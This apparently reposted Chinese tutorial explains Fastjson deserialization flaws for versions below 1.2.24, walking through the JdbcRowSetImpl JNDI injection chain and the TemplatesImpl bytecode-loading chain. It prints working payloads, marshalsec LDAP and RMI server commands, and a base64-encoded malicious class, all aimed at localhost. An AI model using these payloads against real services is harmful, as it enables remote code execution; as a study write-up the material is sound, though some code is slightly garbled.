锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

[Java安全]—fastjson漏洞利用

时间:2023-10-02 20:37:01 sl2继电器线路板底座syw二极管

前言

这两天出门就不学新东西了,两点睡不着。起床学习fastjson弥补下一步。

Fastjson

Fastjson 组件是阿里巴巴开发的反序列化和序列化组件

Fastjson当反序列化不可信数据时,组件会导致远程代码执行。

  • Fastjson 允许用户输入反序列化功能 JSON 串时通过 “@type” 键对应的 value 指定任何反序列化名称
  • Fastjson 自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的 setter 方法及部分 getter 方法。攻击者可以构建恶意请求,使目标应用的代码执行过程进入这部分 setter 或 getter 如果上述方法中有可恶意使用的逻辑(通常称为) “Gadget” ),会造成一些严重的安全问题。官方采用黑名单验证反序列化类名,但随着时间的推移和自动化漏洞挖掘能力的提高。新 Gadget 它将继续出现。黑名单只会导致不断绕过,给使用该组件的用户带来升级版本的麻烦

依赖

<dependencies>     <dependency>         <groupId>com.alibaba</groupId>         <artifactId>fastjson</artifactId>         <version>1.2.23</version>     </dependency> </dependencies> 

POJO

POJO 是 Plain OrdinaryJava Object 的缩写,但是它通指没有使用 Entity Beans 的普通 java 对象,可以把 POJO 作为支持业务逻辑的协助类

Demo

package fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature;  public class Student { 
             private String name;     private int age;      public Student() { 
                 System.out.println("构造函数");     }      public String getName() { 
                 System.out.println"getName");
        return name;
    }

    public void setName(String name) { 
        
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() { 
        
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) throws Exception{ 
        
        System.out.println("setAge");
        this.age = age;
    }
    public void setTest(int i){ 
        
        System.out.println("setTest");
    }
public static void test1() throws Exception { 
        
    Student student = new Student();
    student.setAge(18);
    student.setName("Sentiment");
    System.out.println("====================");
    String jsonString1 = JSON.toJSONString(student);
    System.out.println("====================");
    String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
    System.out.println(jsonString1);
    System.out.println(jsonString2);
}
public static void test2()throws Exception{ 
        
    String jsonString1 = "{\"age\":18,\"name\":\"Sentiment\"}\n";
    String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Sentiment\"}\n";
    System.out.println(JSON.parse(jsonString1));
    System.out.println("======================");
    System.out.println(JSON.parse(jsonString2));
    System.out.println("======================");
    System.out.println(JSON.parseObject(jsonString1));
    System.out.println("======================");
    System.out.println(JSON.parseObject(jsonString2));
    System.out.println("======================");
}
    public static void main(String[] args) throws Exception { 
        
        test1();
        //test2();
    }
}

结果:

构造函数
setAge
setName
====================
getAge
getName
====================
getAge
getName
{ 
        "age":18,"name":"Sentiment"}
{ 
        "@type":"fastjson.Student","age":18,"name":"Sentiment"}

test1

可以看到调用JSON.toJSONString时会自动调用对应的getter

其次是若加上SerializerFeature.WriteClassName,则返回的内容除属性值外,还会加上@type字段指明类

test2

此时调用test2,将JSON字符串转换成对象

String jsonString1 = "{\"age\":18,\"name\":\"Sentiment\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Sentiment\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");

结果:

{ 
        "name":"Sentiment","age":18}
======================
构造函数
setAge
setName
fastjson.Student@4629104a
======================
{ 
        "name":"Sentiment","age":18}
======================
构造函数
setAge
setName
getAge
getName
{ 
        "name":"Sentiment","age":18}
======================

可以看到:

当不加上@type指明类,是得不到类对象的

当对加上@type字段的字符串进行转换后,除了能得到类对象外,parse会调用对应的setterparseObject会调用settergetter

这种@type的方式也叫做autotype:

autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。

set开头的方法要求:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

get开头的方法要求:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLon

JdbcRowSetImpl链结合JNDI注入

fastjson<1.2.24

流程分析

在上边test1中自动调用getter时应该可以联想到前边shiro反序列化(三)中提到的Commons-Beanutils链中的动态调用getter的方法PropertyUtils.getProperty即:当传入outputProperties时会自动调用getOutputProperties,所以这里也可以用这种方式来调用关键的两个方法:setDataSourceName()setAutoCommit()

setAutoCommit

public void setAutoCommit(boolean var1) throws SQLException { 
        
    if (this.conn != null) { 
        
        this.conn.setAutoCommit(var1);
    } else { 
        
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

this.conn==null,会调用this.connect()

private Connection connect() throws SQLException { 
        
    if (this.conn != null) { 
        
        return this.conn;
    } else if (this.getDataSourceName() != null) { 
        
        try { 
        
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

connect()中若this.getDataSourceName() != null,则会调用lookup,进而通过rmi等协议远程类加载

DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

所以看一下getDataSourceName()的值

public String getDataSourceName() { 
        
    return dataSource;
}

是由dataSource决定的,并且在BaseRowSet.setDataSourceName()中可以决定了他的值

public void setDataSourceName(String name) throws SQLException { 
        

    if (name == null) { 
        
        dataSource = null;
    } else if (name.equals("")) { 
        
       throw new SQLException("DataSource name cannot be empty string");
    } else { 
        
       dataSource = name;
    }

    URL = null;
}

JdbcRowSetImpl.setDataSourceName调用了BaseRowSet.setDataSourceName()

public void setDataSourceName(String var1) throws SQLException { 
        
    if (this.getDataSourceName() != null) { 
        
        if (!this.getDataSourceName().equals(var1)) { 
        
            super.setDataSourceName(var1);
            this.conn = null;
            this.ps = null;
            this.rs = null;
        }
    } else { 
        
        super.setDataSourceName(var1);
    }

}

所以基本思路也就出来了,通过@type机制调用dataSourceNameautoCommit并对其赋值,调用时自动加上前缀set就调用到了我们刚才说到的两个方法进而触发类加载代码执行

攻击实现

攻击方式也跟JNDI的LDAP方式一样
开启本地服务

python -m http.server 7777

使用marshalsec构建LDAP服务,服务端监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 9999

poc

package fastjson;

import com.sun.rowset.JdbcRowSetImpl;
import com.alibaba.fastjson.JSON;

class demo1{ 
        
    public static void main(String[] args) { 
        
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
        try { 
        
            System.out.println(payload);
            JSON.parseObject(payload);
        } catch (Exception e) { 
        
            System.out.println(e.getMessage());
        }
    }
}

RMI同样也可以

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:7777/#Exec 9999

poc

package fastjson;

import com.alibaba.fastjson.JSON;

class demo1{ 
        
    public static void main(String[] args) { 
        
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
        try { 
        
            System.out.println(payload);
            JSON.parseObject(payload);
        } catch (Exception e) { 
        
            System.out.println(e.getMessage());
        }
    }
}

TemplatesImpl动态加载字节码

攻击实现

这里的流程挺难理解的,先给出poc之后再根据简单的调试调试分析下内容。

TemplatesPoc.java

package fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TemplatesPoc extends AbstractTranslet { 
        

    public TemplatesPoc() throws IOException { 
        
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { 
        
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { 
        

    }

    public static void main(String[] args) throws Exception { 
        
        TemplatesPoc t = new TemplatesPoc();
    }
}

把字节码base64加密后传入payload

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Templates { 
        
    public static void main(String[] args) { 
        
        String jsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMZmFzdGpzb24vVGVtcGxhdGVzUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQARVGVtcGxhdGVzUG9jLmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAVZmFzdGpzb24vVGVtcGxhdGVzUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAwABAANAA0ADgAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABIADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGgAIABsADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],\"_name\":\"Sentiment\",\"_tfactory\":{},\"_outputProperties\":{}}";
        JSON.parse(jsonString, Feature.SupportNonPublicField);

    }
}

流程分析

调用deserialze后会调用parseField()方法

fieldDeserializer.parseField(parser, object, objectType, fieldValues);

跟进后解析出_bytecodes对应的内容,接着会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

setValue(object, value);

跟进setValue(),获取method后,经过if判断fieldInfo.getOnly为false所以进入下边的set方法来设置_bytecodes的值

在这里插入图片描述

接着解析到_outputProperties的内容时fieldInfo.getOnly判断为true进入if语句中,调用method.invoke(object)

之后的调用就跟TemplatesImpl链的一模一样了

TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass

调用栈:

<init>:14, TemplatesPoc (fastjson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
getTransletInstance:457, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:485, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.

相关文章